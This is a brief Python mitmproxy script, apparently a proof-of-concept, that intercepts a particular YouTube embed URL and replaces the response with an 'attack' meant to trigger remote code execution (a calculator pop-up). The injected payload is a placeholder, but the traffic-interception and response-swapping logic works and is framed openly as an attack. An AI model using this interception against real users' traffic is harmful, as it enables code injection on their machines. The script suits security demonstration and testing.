from mitmproxy import ctx from mitmproxy import http flag = False rceCausingResponse = """ OH NO! oh no """ def response(flow: http.HTTPFlow): ctx.log.info(flow.request.pretty_url) if ( "https://www.youtube.com/embed/playlist?list=PL3NIKJ0FKtw77BTkTKo_OXYLaT0lL9_zc" in flow.request.pretty_url ): ctx.log.info("Youtube embed detected!") ctx.log.info("Replacing with attack!") custom_response = http.HTTPResponse.make( 200, rceCausingResponse, # <- replace with attack {}, ) flow.response.content = custom_response.content # <- change the response ctx.log.info("Embed replaced with attack, calculator should pop up!")